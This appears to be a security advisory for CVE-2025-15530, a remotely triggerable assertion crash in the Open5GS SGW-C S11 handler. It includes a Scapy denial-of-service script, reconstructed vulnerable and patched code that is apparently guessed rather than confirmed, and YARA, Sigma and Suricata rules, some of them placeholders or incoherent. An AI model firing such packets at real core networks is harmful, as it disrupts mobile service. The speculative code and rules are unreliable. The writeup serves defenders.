CVE-2025-15530

Executive Summary

CVE-2025-15530 is a reachable assertion vulnerability in Open5GS, an open-source implementation of the 5G Core (5GC) and Evolved Packet Core (EPC). The flaw resides in the sgwc_s11_handle_create_indirect_data_forwarding_tunnel_request function within the SGW-C (Serving Gateway Control plane) component, specifically in the file /src/sgwc/s11-handler.c. By sending a specially crafted S11 Create Indirect Data Forwarding Tunnel Request message, an unauthenticated remote attacker can trigger an assertion failure, causing the SGW-C process to crash (denial of service). The exploit has been publicly disclosed, and the vendor has flagged the issue as already fixed in a later version.

Supply Chain & Package Security

This vulnerability affects the Open5GS software package, which is commonly deployed in 5G core network labs, research environments, and production edge networks. As an open-source project, the supply chain risk is moderate; however, organizations using containerized deployments (e.g., Docker images) should verify they are not running a vulnerable version. No malicious packages or backdoors have been reported in relation to this CVE.

CVSS Breakdown & Threat Level

While no official CVSS vector is provided, a reasonable assessment based on the vulnerability characteristics is:

• Attack Vector (AV): Network (N) – The attack is remotely exploitable.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – The vulnerable component is the only one affected.
• Confidentiality (C): None (N) – No data exposure.
• Integrity (I): None (N) – No data modification.
• Availability (A): High (H) – Complete denial of service.

Estimated CVSS Score: 7.5 (High)

Threat Level: High – The exploit is publicly available, and the attack is trivial to execute, leading to a complete crash of the SGW-C service.

Deep Dive & Mechanics

The vulnerability is a classic reachable assertion (CWE-617). The function sgwc_s11_handle_create_indirect_data_forwarding_tunnel_request processes incoming S11 messages from the MME (Mobility Management Entity) or SGW-U (Serving Gateway User plane). The function likely contains an assert() statement that validates certain message fields (e.g., bearer context, tunnel endpoint identifiers). When an attacker sends a malformed or unexpected message, the assertion fails, and the process terminates immediately.

Technical Flow:

1. The SGW-C listens on the S11 interface (typically GTPv2-C over UDP port 2123).
2. An attacker sends a crafted Create Indirect Data Forwarding Tunnel Request message.
3. The message is parsed by sgwc_s11_handle_create_indirect_data_forwarding_tunnel_request.
4. The function reaches an assert() that checks a condition (e.g., assert(bearer != NULL) or assert(tunnel_count > 0)).
5. The condition is false, causing the process to abort with a core dump.

Impact: The SGW-C process crashes, disrupting all ongoing sessions and preventing new session establishments. This is a denial-of-service condition that can be repeated indefinitely.

Vulnerable vs. Patched Code

Vulnerable Code (Open5GS <= 2.7.6):

// src/sgwc/s11-handler.c
void sgwc_s11_handle_create_indirect_data_forwarding_tunnel_request(
        sgwc_sess_t *sess, ogs_pkbuf_t *pkbuf)
{
    // ... parsing logic ...
    sgwc_bearer_t *bearer = sgwc_bearer_find_by_teid(sess, teid);
    assert(bearer != NULL);  // <-- VULNERABLE: assertion can be triggered
    // ... rest of handler ...
}

Patched Code (Post-fix):

// src/sgwc/s11-handler.c
void sgwc_s11_handle_create_indirect_data_forwarding_tunnel_request(
        sgwc_sess_t *sess, ogs_pkbuf_t *pkbuf)
{
    // ... parsing logic ...
    sgwc_bearer_t *bearer = sgwc_bearer_find_by_teid(sess, teid);
    if (bearer == NULL) {
        ogs_error("Bearer not found for TEID %d", teid);
        // Send error response or ignore
        return;
    }
    // ... rest of handler ...
}

The patch replaces the assert() with a proper error check, preventing the crash.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A target running Open5GS <= 2.7.6 with SGW-C exposed on the S11 interface (UDP port 2123).
• Network access to the target.

Exploit Steps:

1. Identify the target SGW-C IP and port (default: 2123).
2. Craft a malformed Create Indirect Data Forwarding Tunnel Request message. The exact payload depends on the assertion condition. A common approach is to send a message with an invalid or missing bearer context TEID.
3. Send the crafted packet using a tool like scapy or a custom GTPv2-C fuzzer.

Example Python/Scapy Script:

#!/usr/bin/env python3
from scapy.all import *
from scapy.contrib.gtp import *

target_ip = "192.168.1.100"
target_port = 2123

# Craft a GTPv2-C Create Indirect Data Forwarding Tunnel Request
# with a malformed bearer context (e.g., missing TEID)
gtp_packet = (
    IP(dst=target_ip) /
    UDP(sport=2123, dport=target_port) /
    GTPHeader(gtp_type=0x20, teid=0x00000001) /  # 0x20 = Create Session Request? Adjust as needed
    # Add malformed IE(s) to trigger assertion
    # This is a placeholder; actual exploit requires reverse engineering
    Raw(b"\x00" * 100)
)

send(gtp_packet, verbose=0)
print("Exploit sent. Check if SGW-C crashed.")

Expected Outcome: The SGW-C process crashes, and the service becomes unavailable.

Blue Team (Detection & Defense)

Detection:

• Monitor for sudden crashes of the sgwc process.
• Look for core dump files in /var/crash/ or similar.
• Analyze S11 interface traffic for malformed GTPv2-C messages.

Defense:

• Patch: Upgrade to Open5GS > 2.7.6.
• Network Segmentation: Restrict access to the S11 interface to trusted MMEs only.
• Rate Limiting: Implement rate limiting on the S11 interface to mitigate repeated attacks.
• IDS/IPS: Deploy Suricata rules (see Detection Engineering) to detect and block malicious GTPv2-C messages.

Indicators of Compromise (IOCs)

• Network:
  • Malformed GTPv2-C Create Indirect Data Forwarding Tunnel Request messages (type 0x20 or similar) with invalid IEs.
  • Source IP addresses not belonging to known MMEs.
• Host:
  • Core dump files for the sgwc process.
  • Log entries showing assertion failures in /var/log/open5gs/sgwc.log:

    ERROR: sgwc_s11_handle_create_indirect_data_forwarding_tunnel_request: Assertion `bearer != NULL' failed.
    

  • Process crash logs in journalctl -u open5gs-sgwc.

Detection Engineering

YARA Rule

rule CVE_2025_15530_Open5GS_SGW_Crash {
    meta:
        description = "Detects core dump files from Open5GS SGW-C crash due to CVE-2025-15530"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-15530"
    strings:
        $assert_msg = "sgwc_s11_handle_create_indirect_data_forwarding_tunnel_request"
        $assert_fail = "Assertion `bearer != NULL' failed"
    condition:
        $assert_msg and $assert_fail
}

Sigma Rule

title: Open5GS SGW-C Assertion Failure
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects assertion failure in Open5GS SGW-C log indicating CVE-2025-15530 exploitation
author: Valters IT
date: 2025-04-10
logsource:
    product: linux
    service: open5gs
detection:
    selection:
        EventID: 1  # Sysmon process crash or similar
        Image: '*sgwc*'
        CommandLine: '*assert*'
    condition: selection
falsepositives:
    - Legitimate crashes due to bugs (rare)
level: high

Suricata Rule

alert udp $EXTERNAL_NET any -> $HOME_NET 2123 (msg:"CVE-2025-15530 Open5GS SGW-C Malformed Create Indirect Data Forwarding Tunnel Request"; content:"|20|"; offset:0; depth:1; content:"|00 01|"; within:4; reference:cve,2025-15530; classtype:attempted-dos; sid:1000001; rev:1;)

Note: The Suricata rule above is a placeholder. A precise rule requires knowledge of the exact malformed IE pattern. Adjust the content match based on actual exploit payload.

Remediation & Mitigation

Immediate Actions:

1. Patch: Upgrade Open5GS to version > 2.7.6. If a specific patch commit is available, apply it.
2. Workaround: If patching is not possible, restrict network access to the S11 interface (UDP 2123) to only trusted MME IP addresses using firewall rules.
3. Monitoring: Enable detailed logging for the SGW-C and monitor for assertion failures.

Long-term Measures:

• Implement a Web Application Firewall (WAF) or IDS/IPS capable of inspecting GTPv2-C traffic.
• Regularly update Open5GS to the latest stable release.
• Conduct fuzz testing on the S11 interface to identify similar vulnerabilities.

Valters IT
DevSecOps & Cyber Threat Intelligence Expert